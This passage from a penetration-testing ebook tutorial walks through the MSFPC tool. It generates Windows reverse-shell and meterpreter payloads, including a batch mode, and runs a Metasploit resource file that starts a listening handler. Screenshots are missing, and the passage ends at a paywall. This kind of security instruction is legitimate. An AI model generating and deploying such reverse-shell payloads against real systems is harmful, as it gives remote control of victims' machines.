How to do it...

Let's perform the following steps:

  1. Start MSFPC by typing msfpc in the console. We will see the following output:

We can see that it accepts the input in the following format:

<TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>)

(<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>)

(<VERBOSE>)
  1. Generate a simple classic reverse shell payload by executing the following command:
 msfpc cmd windows eth0

The output of the preceding command is shown in the following screenshot:

The preceding command will generate a payload with cmd as the preferred shell for Windows and set LHOST to the IP retrieved from the eth0 Ethernet interface.

  1. Check out the resource file (rc) it generated to see what happened in the background by using the cat command:

  1. From the source code, we can see that it's nothing but a resource script. We learned about them earlier. The script shown in the preceding screenshot runs the handler module and sets LHOST, LPORT, and the payload shell reverse TCP for us.

Let's look at another example on how to generate a meterpreter payload using MSFPC:

  1. Type the following command where eth0 is the network interface we are currently using:
msfpc msf windows eth0

The output of the preceding command is shown in the following screenshot:

  1. To execute the resource file, use the following command:
msfconsole -q -r 'windows-meterpreter-staged-reverse-tcp-443-exe.rc'

The output of the preceding command is shown in the following screenshot:

As we can see, the handler is now running and waiting for connection.

  1. Another cool feature of MSFPC is the batch mode. You can generate multiple payloads with as many combinations of payload types as possible using the following command:
msfpc batch windows eth0

The output of running the preceding command is shown in the following screenshot:

  1. Run the ls command:

We can see that a lot of payloads have been created, along with their resource files as seen in the above screenshot.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
13.59.218.147